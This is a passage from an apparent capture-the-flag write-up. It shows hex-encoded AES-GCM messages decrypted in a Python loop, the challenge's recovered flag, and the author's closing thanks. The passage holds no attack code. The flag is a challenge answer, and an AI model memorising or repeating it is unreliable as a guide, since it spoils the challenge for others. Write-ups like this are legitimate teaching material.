fe7043d5f7641be086294b2354991c56648a9e8d77fc4b861b0a2c749dfd81759334c31f31693e265b89285c0bcd9295ceae0dcdb4ca9d1e390b692ebefd27068f3243a081c3b7b87fe29bff99df125468a3643d6a6a4affc3312e885337f49bde4edb6e3baa1d8e1adabb19a22622dc8d79e87a77532a6dde31c31ddcef4d6'),
    bytearray.fromhex('0795cb3178bf69c87bdbab269a0b512a025229157985226ba9a3bb899e6f6697b49af144ca13c4876e23974bf701f683b5'),
    bytearray.fromhex('9108e7344aaedb313986a0962957c82ff1b7f694233957b255de910da50e783b275d75f115d061ce41389b5bcf1f499fe2f77720a39475a9ad883fb9f165fca99959697c6c6d5f5061cf8320b34b3cb9040a05cb7e0a5f0b53b0511d5510aafa33a623bafa1b90455b0a389c0cb774334c8780e755fdb0036ac57a840498755e3f941367cc169375c2cf94532b3f8f4fbd9146cba23691e5708a6bb76de3019e4a5ea456af820f49bec822943cfbb9768bbeb1df5c06685e4319df7d8318bbfdc0a6dcd8f39c9d79822ddb3f5e4d8af66c9e134cc03e9b0b749901b0b58275af5967b3f15939321ac7f0a7df86c4b42e931bc8766de9c1c7777b021c56cd2482ecb3842e4e509b310c71a8f37679e7775857559075198de8d78d7907e834d591f6cb045e174458505a82411899d1e2f112ae299f70831df02112eda56b38bd73d4e5edab6080e3955ce18a1ea294920776d71a79cc347f0b57f499fb6a5cbb8335b6250109528b779828f93938c5ee428c1e43624c839841b2020d2ebdf8a8a926568e24cc3f3db917cc96e0ff92866f50a8551e7b408d7b82494da4b007fd99fc574c9a7d09a80144114bc88e2ce65fb3e29cf967f51a75b2f4e1b84ee72c46a1945f41b732872edb93d9883a82c027a88b51ba2a98446fa5b243b439ca67cc1f1a154c8042b136ab183b355a371cd3d19a1e1e137df9fb79ac1ff77befba0312a7d993a9925aaf8f0501b4121dd50e9fb96958ac217e0bec812350507e9f6a4cc15aff29f1fa0fb4f6fc454e18a914e740853fafe58be9759caa4feb50786aa16fd7199b4006bbcc17f60bdd35834cc8a9cc7d107251a3c637d9b10442717c4f9311556395398e00ff5f6cb146f7074eb1492c092811ed0faeb6ad9acdde9ba002ee253b61440507c2f509fd784931b77ca6bf13b4cd1e873b2f333d'),
    bytearray.fromhex('4da5886f424edcd0add35b27ac40cdfe56ebb6436bb103cccda381b463b7ca1461aa46ac7417bd418c8c5abcee1b4c561f979e26d2d1f0'),
    bytearray.fromhex('06d88d5596b7adb80f542e18ecfd22b1e723be700c176490823a9b7742b1e7729545bc74f9ffad3f3376b77209a9982b24cd1c006cc112cb280b633f93cf91c65e343104b3d5e3f89573861520d183a17f45aea2e880c11a9856b0626e660bcafb2e4c8fa9465c7d4308a612821b8593048d937bd502ef710d2bead1d2ba336bdf5713f3806e27af4d471dc31a3a419eeab9595e3771b43b12d0e81652a3584e8b95b3e5ab9953f9e0486a215d0e55c1b6649b587780b526a63a6959e5b4eac5fb4051336957d07664ba5ac345eb310b8035fae079465d9907cd40cfe8b3a1942f336181426368a81e419641209f8662160a2e84412a812e9134c1dc634c39e414f79ad16a7b379be0bc58b146979f0c652eb823b7d32557c6774bb815619629103c48f8283ce7e61d34fa9ef3e862ad256d185c32b0a5f05256dff57cc68ac2e6bc572cf472a239dc9d52e96586a34e625d235f8a25f76099478ab5aeaeae13f279703c648bef26ce41468be29380649dedff1742a6cbf7f3622d140b1e8f8f96ce43f39b32f5bea2fdac04991882184eb122c984b7c30799e3eee4ada346fdf1cd32a76e19c9eead5a7fbf2dba7268'),
    bytearray.fromhex('f14388c157f9df8cf84f854e2ad4d915ed75145340d57d037f118fca904b5ab98b2d2cc2ad548913eb1c52c0e028869b9d08be8110bd40b5b0f69edc35'),
    bytearray.fromhex('a304902118d64673d9ba1f1472c39f4ddcd1624bac7e997c0091b8abdcf32fcd681f941eb2ad52163cba1fd0cf2c94f72ce3a93442fa9c0de7837cd485'),
]

for m in aes_msgs:
    try:
        nonce = m[:16]
        tag = m[16:32]
        ciphertext = m[32:]
        print(decrypt_AES_GCM(aes_key, nonce, tag, ciphertext))
    except Exception as e:
        print(e)

Most of the messages are not particularly interesting, except for the last one:

undut{Qu4nd0-Qu4nd0-Qu4nd0}

And there it is, the flag: undut{Qu4nd0-Qu4nd0-Qu4nd0}!

Final words

As always with CTFs, the path to finding the solution is never straightforward. This writeup is just the steps to actually solve the challange, but the path to get here was long and full of dead ends and head scratching.

Again, thanks to the organizers for the great CTF and thank you for reading this writeup! I hope you enjoyed it!

If you have feedback or questions, feel free to reach out to me on Twitter